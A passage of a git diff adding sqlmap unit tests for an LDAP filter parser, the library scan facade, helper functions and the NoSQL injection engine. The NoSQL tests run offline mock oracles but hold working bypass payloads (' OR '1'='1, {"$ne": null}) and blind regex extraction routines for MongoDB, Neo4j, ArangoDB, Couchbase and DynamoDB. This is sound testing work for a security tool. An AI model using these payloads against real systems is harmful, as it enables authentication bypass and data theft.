ldap.LDAP_PLACES) + + +class TestNestedFilterParsing(unittest.TestCase): + def setUp(self): + # Import the REAL vulnserver parser (same technique as + # tests/test_graphql.py :: TestVulnserverGraphqlParser). `extra` and + # `extra/vulnserver` are packages, so a plain import works. + from extra.vulnserver import vulnserver + self.vs = vulnserver + + def test_nested_compound_parses_all_siblings(self): + """Blockers 3: nested (&) inside (|) must parse all siblings.""" + f = '(|(&(uid=a)(cn=b))(mail=*))' + + # The REAL _ldap_match must balance brackets across nested compounds. + # Outer (| ... ) starts at 0 and ends at len(f). + outer_end = self.vs._ldap_match(f, 0) + self.assertEqual(outer_end, len(f)) + # Inner (& ... )'s opening '(' is at position 2; _ldap_match must + # return the position right before the (mail=*) sibling. + inner_end = self.vs._ldap_match(f, 2) + self.assertEqual(f[inner_end:inner_end+8], '(mail=*)') + + # The REAL filter->SQL conversion must surface EVERY sibling condition: + # both members of the nested (&) AND the (mail=*) sibling of the (|). + clause, params, end = self.vs._ldap_filter_to_sql(f) + self.assertEqual(end, len(f)) + self.assertIsNotNone(clause) + # nested-(&) siblings -> AND-joined, both columns present + self.assertIn(" AND ", clause) + self.assertIn("uid", clause) + self.assertIn("cn", clause) + # outer-(|) sibling must NOT be dropped + self.assertIn(" OR ", clause) + self.assertIn("mail", clause) + # the two equality values are parameterized in order + self.assertEqual(params, ["a", "b"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_library.py b/tests/test_library.py new file mode 100644 index 00000000000..36a608e31a8 --- /dev/null +++ b/tests/test_library.py @@ -0,0 +1,146 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Unit coverage for the library facade (import sqlmap; sqlmap.scan(...)). + +The facade drives the engine out-of-process through a generated configuration file (the same '-c' +mechanism the REST API uses) and reads back a '--report-json' report. These tests stub +subprocess.Popen to (a) capture the argv/config sqlmap.scan() builds from its keyword options and +(b) feed back a canned report - keeping the test fast, offline and network-free (no real scan runs). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. +""" + +import json +import os +import re +import subprocess +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import sqlmap + + +class _FakePopen(object): + """Stub that records argv/config and writes a canned report to the config's 'reportJson' path.""" + + captured = {} + returncode = 0 + + def __init__(self, argv, **kwargs): + _FakePopen.captured["argv"] = argv + _FakePopen.captured["kwargs"] = kwargs + with open(argv[argv.index("-c") + 1]) as f: + config = f.read() + _FakePopen.captured["config"] = config + report = re.search(r"(?im)^reportjson\s*=\s*(.+)$", config).group(1).strip() + with open(report, "w") as f: + json.dump({"success": True, "data": [{"type_name": "BANNER", "value": "3.45.1"}], "error": []}, f) + + def wait(self, timeout=None): + return 0 + + def poll(self): + return 0 + + def kill(self): + pass + + +class TestLibraryFacade(unittest.TestCase): + def setUp(self): + self._realPopen = subprocess.Popen + subprocess.Popen = _FakePopen + _FakePopen.captured = {} + + def tearDown(self): + subprocess.Popen = self._realPopen + + def test_requires_a_target(self): + subprocess.Popen = self._realPopen # never reached; guard fires first + self.assertRaises(sqlmap.SqlmapError, sqlmap.scan) + + def test_rejects_unknown_option(self): + # a command line switch spelling (rather than a conf option name) must be rejected loudly + self.assertRaises(sqlmap.SqlmapError, sqlmap.scan, "http://target/?id=1", current_user=True) + + def test_options_go_through_config(self): + result = sqlmap.scan("http://target/vuln.php?id=1", technique="BEU", dumpTable=True, + tbl="users", level=3, getBanner=True, raw=["--fresh-queries"]) + argv = _FakePopen.captured["argv"] + config = _FakePopen.captured["config"] + # driven via a generated config file, stdin ignored, engine plumbing set - no arg escaping + self.assertIn("-c", argv) + self.assertIn("--ignore-stdin", argv) + self.assertIn("--fresh-queries", argv) # raw escape hatch stays on the CLI + # options land in the config using sqlmap's own (conf) names (ConfigParser lowercases keys) + self.assertTrue(re.search(r"(?im)^url\s*=\s*http://target/vuln.php\?id=1$", config)) + self.assertTrue(re.search(r"(?im)^technique\s*=\s*BEU$", config)) + self.assertTrue(re.search(r"(?im)^tbl\s*=\s*users$", config)) + self.assertTrue(re.search(r"(?im)^level\s*=\s*3$", config)) + self.assertTrue(re.search(r"(?im)^dumptable\s*=\s*True$", config)) + self.assertTrue(re.search(r"(?im)^getbanner\s*=\s*True$", config)) + self.assertTrue(re.search(r"(?im)^batch\s*=\s*True$", config)) + self.assertTrue(re.search(r"(?im)^outputdir\s*=", config)) # each run isolated on disk + # file descriptors are not leaked to the engine (matches the REST API subprocess) + self.assertFalse(_FakePopen.captured["kwargs"].get("close_fds") and os.name == "nt") + # canned report is returned verbatim + self.assertTrue(result["success"]) + self.assertEqual(result["data"][0]["value"], "3.45.1") + + def test_scan_from_request_uses_request_file(self): + sqlmap.scanFromRequest("/tmp/req.txt", technique="U") + config = _FakePopen.captured["config"] + self.assertTrue(re.search(r"(?im)^requestfile\s*=\s*/tmp/req.txt$", config)) + self.assertTrue(re.search(r"(?im)^technique\s*=\s*U$", config)) + + def test_missing_report_raises(self): + class _NoReportPopen(_FakePopen): + def __init__(self, argv, **kwargs): + _FakePopen.captured["argv"] = argv # write nothing -> no report file + subprocess.Popen = _NoReportPopen + self.assertRaises(sqlmap.SqlmapError, sqlmap.scan, "http://target/?id=1") + + +class TestReportErrorCapture(unittest.TestCase): + """ + The library tells failure modes apart (unreachable vs nothing-found) because a CLI --report-json + run now records error/critical log messages into the report 'error' array, like the REST API. + """ + + def test_errors_reach_the_report(self): + import logging + from lib.core.data import logger + from lib.utils.api import setupReportCollector, _assembleData, ReportErrorRecorder, REPORT_TASKID + + # represent a normal run: the shared test bootstrap silences the logger (CRITICAL+1), which would + # otherwise gate the ERROR record before it reaches the recorder (order-dependent flakiness) + saved_level = logger.level + logger.setLevel(logging.ERROR) + # mute the existing console handler(s) so the deliberate ERROR below does not leak to the + # unittest output; the recorder added by setupReportCollector next still captures it + muted = [(handler, handler.level) for handler in logger.handlers] + for handler, _ in muted: + handler.setLevel(logging.CRITICAL + 1) + collector = setupReportCollector() + try: + logger.error("boom %s", "here") + result = _assembleData(collector, REPORT_TASKID) + self.assertTrue(any("boom here" in _ for _ in result["error"])) + finally: + logger.setLevel(saved_level) + for handler, level in muted: + handler.setLevel(level) + for handler in list(logger.handlers): + if isinstance(handler, ReportErrorRecorder): + logger.removeHandler(handler) + collector.disconnect() + + +if __name__ == "__main__": + unittest.main(verbosity=2) diff --git a/tests/test_misc.py b/tests/test_misc.py new file mode 100644 index 00000000000..f3bf3faef25 --- /dev/null +++ b/tests/test_misc.py @@ -0,0 +1,129 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Assorted pure helpers: stats, set ops, value predicates, value/counter stacks, +enum helpers, DBMS alias/version checks, column prioritization. +""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap, set_dbms, reset_dbms +bootstrap() + +from lib.core import common as C +from lib.core.settings import NULL +from lib.core.enums import DBMS + + +class TestStats(unittest.TestCase): + def test_average(self): + self.assertEqual(C.average([1, 2, 3, 4]), 2.5) + self.assertEqual(C.average([5]), 5) + + def test_stdev(self): + self.assertAlmostEqual(C.stdev([1, 2, 3, 4]), 1.2909944, places=5) + self.assertIsNone(C.stdev([5])) # undefined for single sample + + +class TestSetOps(unittest.TestCase): + def test_intersect(self): + self.assertEqual(C.intersect([1, 2, 3], [2, 3, 4]), [2, 3]) + self.assertEqual(C.intersect([1], [2]), []) + + def test_filterPairValues(self): + self.assertEqual(C.filterPairValues([[1, 2], [3], [4, 5], []]), [[1, 2], [4, 5]]) + + +class TestValuePredicates(unittest.TestCase): + def test_isNoneValue(self): + for v in (None, [], "", {}): + self.assertTrue(C.isNoneValue(v), msg="isNoneValue(%r)" % (v,)) + + def test_isNullValue(self): + self.assertTrue(C.isNullValue(NULL)) + # discriminating negatives: an always-True impl must fail these + self.assertFalse(C.isNullValue(None)) + self.assertFalse(C.isNullValue("")) + self.assertFalse(C.isNullValue("x")) + + def test_isNumPosStrValue(self): + for v, exp in [("5", True), ("0", False), ("-1", False), ("a", False), ("12", True)]: + self.assertEqual(bool(C.isNumPosStrValue(v)), exp, msg="isNumPosStrValue(%r)" % v) + + def test_firstNotNone(self): + self.assertEqual(C.firstNotNone(None, None, 5, 6), 5) + self.assertIsNone(C.firstNotNone(None, None)) + + +class TestValueStackAndCounters(unittest.TestCase): + def test_push_pop(self): + C.pushValue(7) + C.pushValue("x") + self.assertEqual(C.popValue(), "x") + self.assertEqual(C.popValue(), 7) + + def test_counters(self): + C.resetCounter("UNITTEST") + C.incrementCounter("UNITTEST") + C.incrementCounter("UNITTEST") + self.assertEqual(C.getCounter("UNITTEST"), 2) + + +class TestEnumAndDbmsHelpers(unittest.TestCase): + def test_aliasToDbmsEnum(self): + self.assertEqual(C.aliasToDbmsEnum("mysql"), DBMS.MYSQL) + self.assertEqual(C.aliasToDbmsEnum("postgres"), DBMS.PGSQL) + + def test_getPublicTypeMembers(self): + members = list(C.getPublicTypeMembers(DBMS, onlyValues=True)) + # goal is correct EXTRACTION, not a magic count: real members present, no private/dunder leak + self.assertIn(DBMS.MYSQL, members) + self.assertIn(DBMS.MSSQL, members) + self.assertIn(DBMS.ORACLE, members) + self.assertFalse(any(str(m).startswith("_") for m in members), msg="leaked private member: %r" % members) + + def test_isDBMSVersionAtLeast(self): + set_dbms(DBMS.MYSQL) + C.Backend.setVersion("5.7") + self.assertTrue(C.isDBMSVersionAtLeast("5.0")) + self.assertFalse(C.isDBMSVersionAtLeast("8.0")) + + +class TestColumnPriority(unittest.TestCase): + def test_prioritySortColumns(self): + # assert the FULL ordering, not just the first element (id-like floats to front, + # rest keep their relative order) + self.assertEqual(C.prioritySortColumns(["data", "id", "name"]), ["id", "data", "name"]) + + def test_prioritySortColumns_empty(self): + self.assertEqual(C.prioritySortColumns([]), []) + + +class TestArrayHelpers(unittest.TestCase): + def test_unArrayizeValue(self): + self.assertEqual(C.unArrayizeValue([5]), 5) # single-element list -> the element + self.assertEqual(C.unArrayizeValue([1, 2]), 1) # multi -> first + self.assertEqual(C.unArrayizeValue(7), 7) # scalar -> unchanged + self.assertIsNone(C.unArrayizeValue([])) # empty -> None + + def test_arrayizeValue(self): + self.assertEqual(C.arrayizeValue(5), [5]) # scalar -> wrapped + self.assertEqual(C.arrayizeValue([5]), [5]) # list -> unchanged + + def test_roundtrip_scalar(self): + for v in (0, 1, "x", "value"): + self.assertEqual(C.unArrayizeValue(C.arrayizeValue(v)), v) + + +if __name__ == "__main__": + unittest.main(verbosity=2) + + +def tearDownModule(): + reset_dbms() # clear any DBMS forced via set_dbms() so it can't leak into later test modules diff --git a/tests/test_nosql.py b/tests/test_nosql.py new file mode 100644 index 00000000000..d0987272669 --- /dev/null +++ b/tests/test_nosql.py @@ -0,0 +1,665 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Offline, deterministic tests for the NoSQL injection engine. Mock oracles stand in for the +HTTP/back-end layer so detection and blind extraction can be exercised without a live target, +covering each dialect: MongoDB/CouchDB operator injection, Elasticsearch/Solr query_string, +Neo4j Cypher and ArangoDB AQL string break-out. +""" + +import re +import unittest + +from _testutils import bootstrap +bootstrap() + +import lib.techniques.nosql.inject as ni + +# several setUps here write these conf keys without restoring them; snapshot/restore at the module +# boundary so they can't leak into later test modules (order-dependent flakiness) +_NOSQL_CONF_KEYS = ("parameters", "paramDict", "timeSec", "cookieDel") +_saved_conf = {} + +def setUpModule(): + from lib.core.data import conf + for k in _NOSQL_CONF_KEYS: + _saved_conf[k] = conf.get(k) + +def tearDownModule(): + from lib.core.data import conf + for k, v in _saved_conf.items(): + conf[k] = v + +SECRET = "S3cr3t_9" +MATCH = "Welcome user; rows: alpha, bravo, charlie" +NOMATCH = "Invalid credentials; no rows" + + +def _mongo(place, parameter, op, value, isArray=False): + if op == "$ne": + return MATCH + if op == "$in": + return NOMATCH + if op == "$regex": + try: + return MATCH if re.match(value, SECRET) is not None else NOMATCH + except re.error: + return "error: invalid regular expression" + return "" + + +def _es(place, parameter, value): + if value == "*": + return MATCH + if value == ni.NOSQL_SENTINEL: + return NOMATCH + if value.startswith("/") and value.endswith("/"): # Lucene regexp is full-anchored + try: + return MATCH if re.match("^(?:%s)$" % value[1:-1], SECRET) is not None else NOMATCH + except re.error: + return "error: parse_exception" + return NOMATCH + + +class TestNoSqlMongo(unittest.TestCase): + def setUp(self): + self._orig = ni._fetch + ni._fetch = _mongo + + def tearDown(self): + ni._fetch = self._orig + + def test_detect(self): + self.assertTrue(ni._detectMongo("GET", "password")) + + def test_extract(self): + template = ni._fetch("GET", "password", "$ne", ni.NOSQL_SENTINEL) + value = ni._extract(template, + lambda v: ni._fetch("GET", "password", "$regex", v), + lambda n: "^.{%d,}$" % n, + lambda known, klass: "^" + re.escape(known) + klass) + self.assertEqual(value, SECRET) + + def test_not_injectable(self): + ni._fetch = lambda *args, **kwargs: MATCH + self.assertIsNone(ni._detectMongo("GET", "password")) + + +class TestNoSqlElasticsearch(unittest.TestCase): + def setUp(self): + self._orig = ni._fetchValue + ni._fetchValue = _es + + def tearDown(self): + ni._fetchValue = self._orig + + def test_detect(self): + self.assertTrue(ni._detectES("GET", "q")) + + def test_extract(self): + template = ni._fetchValue("GET", "q", "*") + value = ni._extract(template, + lambda v: ni._fetchValue("GET", "q", v), + lambda n: "/.{%d,}/" % n, + lambda known, klass: "/%s%s.*/" % (ni._lucene(known), klass)) + self.assertEqual(value, SECRET) + + def test_not_injectable(self): + ni._fetchValue = lambda *args, **kwargs: MATCH + self.assertIsNone(ni._detectES("GET", "q")) + + +def _cypher(place, parameter, value): + if "'1'='1" in value: + return MATCH + if "'1'='2" in value: + return NOMATCH + m = re.search(r"=~ '\^(.*)$", value) # the regex body after the =~ operator + if m: + try: + return MATCH if re.match("^(?:%s)$" % m.group(1), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + return NOMATCH + + +class TestNoSqlCypher(unittest.TestCase): + def setUp(self): + self._orig = ni._fetchValue + ni._fetchValue = _cypher + + def tearDown(self): + ni._fetchValue = self._orig + + def test_detect(self): + self.assertTrue(ni._detectCypher("GET", "password")) + + def test_extract(self): + template = ni._fetchValue("GET", "password", ni.NOSQL_SENTINEL + "' OR '1'='1") + value = ni._extract(template, + lambda v: ni._fetchValue("GET", "password", v), + lambda n: "%s' OR u.password =~ '^.{%d,}" % (ni.NOSQL_SENTINEL, n), + lambda known, klass: "%s' OR u.password =~ '^%s%s.*" % (ni.NOSQL_SENTINEL, ni._javaEscape(known), klass)) + self.assertEqual(value, SECRET) + + +def _aql(place, parameter, value): + m = re.search(r"=~ '(\^[^']*)'", value) # the regex body inside =~ '...' + if m: + try: # ArangoDB =~ is a partial (unanchored) match + return MATCH if re.search(m.group(1), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + if "'1'=='1" in value: + return MATCH + return NOMATCH + + +class TestNoSqlArango(unittest.TestCase): + def setUp(self): + self._orig = ni._fetchValue + ni._fetchValue = _aql + + def tearDown(self): + ni._fetchValue = self._orig + + def test_detect(self): + self.assertTrue(ni._detectAQL("GET", "password")) + + def test_extract(self): + template = ni._fetchValue("GET", "password", ni.NOSQL_SENTINEL + "' || '1'=='1") + value = ni._extract(template, + lambda v: ni._fetchValue("GET", "password", v), + lambda n: "%s' || (u.password =~ '^.{%d,}') || '1'=='2" % (ni.NOSQL_SENTINEL, n), + lambda known, klass: "%s' || (u.password =~ '^%s%s') || '1'=='2" % (ni.NOSQL_SENTINEL, ni._javaEscape(known), klass)) + self.assertEqual(value, SECRET) + + +def _n1ql(place, parameter, value): + m = re.search(r"REGEXP_CONTAINS\([^,]+, '([^']*)'\)", value) + if m: + try: # model the single-quoted string layer (collapse the doubled backslashes) + return MATCH if re.search(m.group(1).replace("\\\\", "\\"), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + if "=~" in value: # N1QL has no =~ operator -> engine error + return "error: syntax error near '=~'" + if "'1'='1" in value: + return MATCH + return NOMATCH + + +class TestNoSqlN1QL(unittest.TestCase): + """Couchbase N1QL shares the ' OR '1'='1 break-out with Neo4j; _resolve() must disambiguate by the + regexp-match primitive (=~ fails, REGEXP_CONTAINS works) and still extract""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" # keep MongoDB operator detection out of the way + ni._fetchValue = _n1ql + ni.conf.parameters = {"GET": "name=luther&password=x"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_disambiguates_couchbase(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(vector.dbms, "Couchbase") + self.assertEqual(vector.bypass, "' OR '1'='1") + + def test_extract(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(ni._extract(vector.template, vector.fetch, vector.lengthValue, vector.charValue, vector.truth), SECRET) + + +def _whereTruth(payload): + # emulate the $where timing oracle: a payload "delays" (=> True) iff its embedded JS condition holds + m = re.search(r"length>=(\d+)", payload) + if m: + return len(SECRET) >= int(m.group(1)) + m = re.search(r"/\^([^/]*)/\.test", payload) + if m: + return re.search("^" + m.group(1), SECRET) is not None + return False + + +class TestNoSqlWhere(unittest.TestCase): + """MongoDB $where time-based: validates the server-side-JS payload shapes and the time-based + extraction loop (timing predicate emulated deterministically)""" + + def setUp(self): + ni.conf.timeSec = 5 + + def test_extract(self): + key = "password" + lengthValue = lambda n: ni._whereDelay("d.%s&&d.%s.length>=%d" % (key, key, n)) + charValue = lambda known, klass: ni._whereDelay("d.%s&&/^%s%s/.test(d.%s)" % (key, ni._javaEscape(known), klass, key)) + self.assertEqual(ni._extract(None, None, lengthValue, charValue, _whereTruth), SECRET) + + +def _jswhere(place, parameter, value): + # emulate a content-bearing MongoDB $where (server-side JavaScript) endpoint + if " OR " in value or " =~ " in value: # not valid JS -> consistent (non-diverging) error + return "" + m = re.search(r"/(.)/\.test\('x'\)", value) # JS regexp-test disambiguation probe + if m: + return MATCH if re.search(m.group(1), "x") is not None else NOMATCH + m = re.search(r"/\^([^/]*)/\.test\(this\.password\)", value) # value extraction + if m: + try: + return MATCH if re.search("^" + m.group(1), SECRET) is not None else NOMATCH + except re.error: + return NOMATCH + m = re.search(r"length>=(\d+)", value) # length search + if m: + return MATCH if len(SECRET) >= int(m.group(1)) else NOMATCH + if "'1'=='1" in value or "this.password)" in value: # boolean detection / bound always-true template + return MATCH + return NOMATCH + + +class TestNoSqlWhereContent(unittest.TestCase): + """Content-bearing MongoDB $where shares the ' || '1'=='1 break-out with ArangoDB; _resolve() must + disambiguate (AQL '=~' fails, a JS /re/.test() holds) and extract via the content oracle""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _jswhere + ni.conf.parameters = {"GET": "username=luther&password=x"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_where_content(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(vector.dbms, "MongoDB ($where)") + self.assertEqual(vector.bypass, "' || '1'=='1") + + def test_extract(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(ni._extract(vector.template, vector.fetch, vector.lengthValue, vector.charValue, vector.truth), SECRET) + + +class TestNoSqlWhereDump(unittest.TestCase): + """$where whole-document dump: Object.keys(this) enumeration drives name + value recovery for every + field (per-field char recovery itself is covered by TestNoSqlWhere)""" + + DOC = [("id", "1"), ("username", "luther"), ("password", "s3cr3t"), ("role", "admin")] + + def setUp(self): + self._orig = ni._whereField + names = [name for name, _ in self.DOC] + values = dict(self.DOC) + + def fake(place, parameter, bound, expr, threshold): + m = re.search(r"Object\.keys\(d\)\[(\d+)\]", expr) + if m: + index = int(m.group(1)) + return names[index] if index < len(names) else None + m = re.search(r"d\['([^']*)'\]", expr) + if m: + return values.get(m.group(1)) + return None + + ni._whereField = fake + + def tearDown(self): + ni._whereField = self._orig + + def test_dump(self): + columns, rows = ni._whereDump("GET", "password", "", 0) + self.assertEqual(columns, ["id", "username", "password", "role"]) + self.assertEqual(rows, [["1", "luther", "s3cr3t", "admin"]]) + + def test_empty_document(self): + ni._whereField = lambda *args, **kwargs: None + self.assertIsNone(ni._whereDump("GET", "password", "", 0)) + + +class TestNoSqlEnumDump(unittest.TestCase): + """Content-based whole-document dump (e.g. Neo4j keys(u)): enumerate field names then values""" + + DOC = [("id", "1"), ("username", "luther"), ("password", "s3cr3t"), ("role", "admin")] + + def setUp(self): + self._ef, self._fv = ni._enumField, ni._fetchValue + ni._fetchValue = lambda *args, **kwargs: "Welcome" # non-error single-record template + names = [name for name, _ in self.DOC] + values = dict(self.DOC) + + def fake(place, parameter, template, payloadFor): + probe = payloadFor("X") # render to inspect the target expression + m = re.search(r"\(u\)\[(\d+)\]", probe) # keys/ATTRIBUTES/OBJECT_NAMES(u)[i] + if m: + index = int(m.group(1)) + return names[index] if index < len(names) else None + m = re.search(r"u\['([^']*)'\]", probe) # toString/TO_STRING/TOSTRING(u['name']) + if m: + return values.get(m.group(1)) + return None + + ni._enumField = fake + + def tearDown(self): + ni._enumField, ni._fetchValue = self._ef, self._fv + + def _check(self, keysExpr, valueExpr): + makePayload = lambda expr, rb: "X' OR %s =~ '^%s.*" % (expr, rb) + columns, rows = ni._enumDump("GET", "password", makePayload, keysExpr, valueExpr) + self.assertEqual(columns, ["id", "username", "password", "role"]) + self.assertEqual(rows, [["1", "luther", "s3cr3t", "admin"]]) + + def test_cypher(self): + self._check(lambda i: "keys(u)[%d]" % i, lambda n: "toString(u[%s])" % ni._propLiteral(n)) + + def test_aql(self): + self._check(lambda i: "ATTRIBUTES(u)[%d]" % i, lambda n: "TO_STRING(u[%s])" % ni._propLiteral(n)) + + def test_n1ql(self): + self._check(lambda i: "OBJECT_NAMES(u)[%d]" % i, lambda n: "TOSTRING(u[%s])" % ni._propLiteral(n)) + + +class TestNoSqlBypass(unittest.TestCase): + """Confirmed injection must surface the always-true (authentication/filter bypass) payload""" + + def setUp(self): + self._f = ni._fetch + ni._fetch = _mongo + + def tearDown(self): + ni._fetch = self._f + + def test_mongo_bypass(self): + vector = ni._resolve("GET", "password", "password") + self.assertEqual(vector.dbms, "MongoDB") + self.assertEqual(vector.bypass, '{"$ne": null}') + + +class TestNoSqlInband(unittest.TestCase): + """In-band exposure gate: _inband() returns the always-true response only when it carries + materially more reflected content than the original request""" + + def setUp(self): + self._fv = ni._fetchValue + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetchValue = self._fv + + def test_exposure_detected(self): + ni._fetchValue = lambda place, parameter, value: "
    1luther
    " # original (one row) + template = "
    1luther
    2fluffy
    3wu
    " + self.assertEqual(ni._inband("GET", "id", template), template) + + def test_no_exposure_when_not_larger(self): + ni._fetchValue = lambda place, parameter, value: "X" * 200 # original (large) + self.assertIsNone(ni._inband("GET", "id", "Welcome")) # always-true smaller -> no dump + + +class TestNoSqlRecords(unittest.TestCase): + """Reflected responses are parsed into (columns, rows) for a regular table dump""" + + def test_html_table_without_header(self): + page = ("Results:" + "" + "
    1lutherblisset
    2fluffybunny
    ") + columns, rows = ni._records(page) + self.assertEqual(columns, ["column_1", "column_2", "column_3"]) + self.assertEqual(rows, [["1", "luther", "blisset"], ["2", "fluffy", "bunny"]]) + + def test_html_table_with_header(self): + page = "
    iduser
    1luther
    " + columns, rows = ni._records(page) + self.assertEqual(columns, ["id", "user"]) + self.assertEqual(rows, [["1", "luther"]]) + + def test_json_array_of_objects(self): + page = '{"results": [{"id": 1, "username": "luther", "password": null}, {"id": 2, "username": "fluffy"}]}' + columns, rows = ni._records(page) + self.assertEqual(columns, ["id", "username", "password"]) + self.assertEqual(rows, [["1", "luther", "NULL"], ["2", "fluffy", ""]]) + + def test_unstructured_returns_none(self): + self.assertIsNone(ni._records("just some prose, no records here")) + + +def _numeric(place, parameter, value): + # numeric-context oracle: 'OR 1=1' is always-true (rows), 'AND 1=2' is false (no rows) + if "OR 1=1" in value: + return MATCH + if "AND 1=2" in value: + return NOMATCH + return MATCH if value == "1" else NOMATCH + + +class TestNoSqlNumeric(unittest.TestCase): + """Numeric-context (unquoted) break-out, e.g. 'WHERE id = ': detected via OR/AND, with the + always-true response carried as the in-band dump template""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numeric + ni.conf.parameters = {"GET": "id=1"} + ni.conf.paramDict = {"GET": {"id": "1"}} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric(self): + vector = ni._resolve("GET", "id", "id") + self.assertEqual(vector.dbms, "Neo4j") + self.assertEqual(vector.bypass, "1 OR 1=1") + self.assertIsNone(vector.lengthValue) # numeric field -> in-band only, no blind extraction + + def test_skips_non_numeric(self): + ni.conf.parameters = {"GET": "name=luther"} + self.assertIsNone(ni._detectNumeric("GET", "name")) # only applies to a numeric field value + + +def _numericN1ql(place, parameter, value): + # numeric-context Couchbase: OR/AND boolean plus the N1QL-only REGEXP_CONTAINS discriminator + m = re.search(r"REGEXP_CONTAINS\('ab', '([^']*)'\)", value) + if m: + return MATCH if re.search(m.group(1), "ab") is not None else NOMATCH + if "OR 1=1" in value: + return MATCH + if "AND 1=2" in value: + return NOMATCH + return MATCH if value == "1" else NOMATCH + + +class TestNoSqlNumericN1QL(unittest.TestCase): + """A numeric Couchbase point is disambiguated from Neo4j by the N1QL-only REGEXP_CONTAINS probe""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numericN1ql + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric_couchbase(self): + dbms, _, bypass = ni._detectNumeric("GET", "id") + self.assertEqual(dbms, "Couchbase") + self.assertEqual(bypass, "1 OR 1=1") + + +def _numericAql(place, parameter, value): + # numeric-context ArangoDB: only the ||/&& family diverges (OR/AND and REGEXP_CONTAINS do not) + return MATCH if "|| 1==1" in value else NOMATCH + + +class TestNoSqlNumericAQL(unittest.TestCase): + """A numeric ArangoDB point is detected via the ||/&& family once OR/AND yields no divergence""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numericAql + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric_arango(self): + dbms, _, bypass = ni._detectNumeric("GET", "id") + self.assertEqual(dbms, "ArangoDB") + self.assertEqual(bypass, "1 || 1==1") + + +def _partiql(place, parameter, value): + # DynamoDB PartiQL string-context oracle: 'field >= prefix' matches the bound record iff + # SECRET >= prefix (ordered comparison, the basis of the comparison-bisection extraction); + # 'begins_with(field, prefix)' matches iff SECRET starts with prefix + m = re.search(r">= '(.*)$", value) + if m: + return MATCH if SECRET >= m.group(1).replace("''", "'") else NOMATCH + m = re.search(r"begins_with\([^,]+, '(.*?)'\) OR '1'='2", value) + if m: + return MATCH if SECRET.startswith(m.group(1)) else NOMATCH + return NOMATCH + + +class TestNoSqlPartiQL(unittest.TestCase): + """DynamoDB PartiQL: no regexp engine, so a value is recovered by ordered string comparison + (field >= 'prefix') bisected over the printable-ASCII range""" + + def setUp(self): + self._fv = ni._fetchValue + ni._fetchValue = _partiql + ni.conf.parameters = {"GET": "username=luther&password=x"} + ni.conf.paramDict = {"GET": {"password": "x"}} + + def tearDown(self): + ni._fetchValue = self._fv + + def test_extract(self): + value = ni._partiqlValue("GET", "password", "", "password") + self.assertEqual(value, SECRET) + + def test_dump_binds_sibling(self): + columns, rows = ni._partiqlDump("GET", "password", "password") + self.assertEqual(columns, ["password"]) + self.assertEqual(rows, [[SECRET]]) + + def test_dump_without_sibling_returns_none(self): + ni.conf.parameters = {"GET": "password=x"} # no sibling to pin a single record + ni.conf.paramDict = {"GET": {"password": "x"}} + self.assertIsNone(ni._partiqlDump("GET", "password", "password")) + + +def _numericDdb(place, parameter, value): + # numeric-context DynamoDB: OR/AND boolean plus the PartiQL-only begins_with discriminator + m = re.search(r"begins_with\('ab', '([^']*)'\)", value) + if m: + return MATCH if "ab".startswith(m.group(1)) else NOMATCH + if "OR 1=1" in value: + return MATCH + if "AND 1=2" in value: + return NOMATCH + return MATCH if value == "1" else NOMATCH + + +class TestNoSqlNumericDynamoDB(unittest.TestCase): + """A numeric DynamoDB point is disambiguated from Neo4j/Couchbase by the PartiQL-only begins_with probe""" + + def setUp(self): + self._f, self._fv = ni._fetch, ni._fetchValue + ni._fetch = lambda *args, **kwargs: "" + ni._fetchValue = _numericDdb + ni.conf.parameters = {"GET": "id=1"} + + def tearDown(self): + ni._fetch, ni._fetchValue = self._f, self._fv + + def test_resolve_numeric_dynamodb(self): + dbms, _, bypass = ni._detectNumeric("GET", "id") + self.assertEqual(dbms, "DynamoDB") + self.assertEqual(bypass, "1 OR 1=1") + + +class TestNoSqlCookiePlace(unittest.TestCase): + """Cookie place: parameters split/join on ';' (not '&') and the segment routes to the Cookie header""" + + def setUp(self): + ni.conf.cookieDel = None + ni.conf.parameters = {ni.PLACE.COOKIE: "session=abc; username=luther; password=x"} + ni.conf.paramDict = {ni.PLACE.COOKIE: {"password": "x"}} + + def test_delimiter(self): + self.assertEqual(ni._delim(ni.PLACE.COOKIE), ";") + self.assertEqual(ni._delim(ni.PLACE.GET), "&") + + def test_original_value(self): + 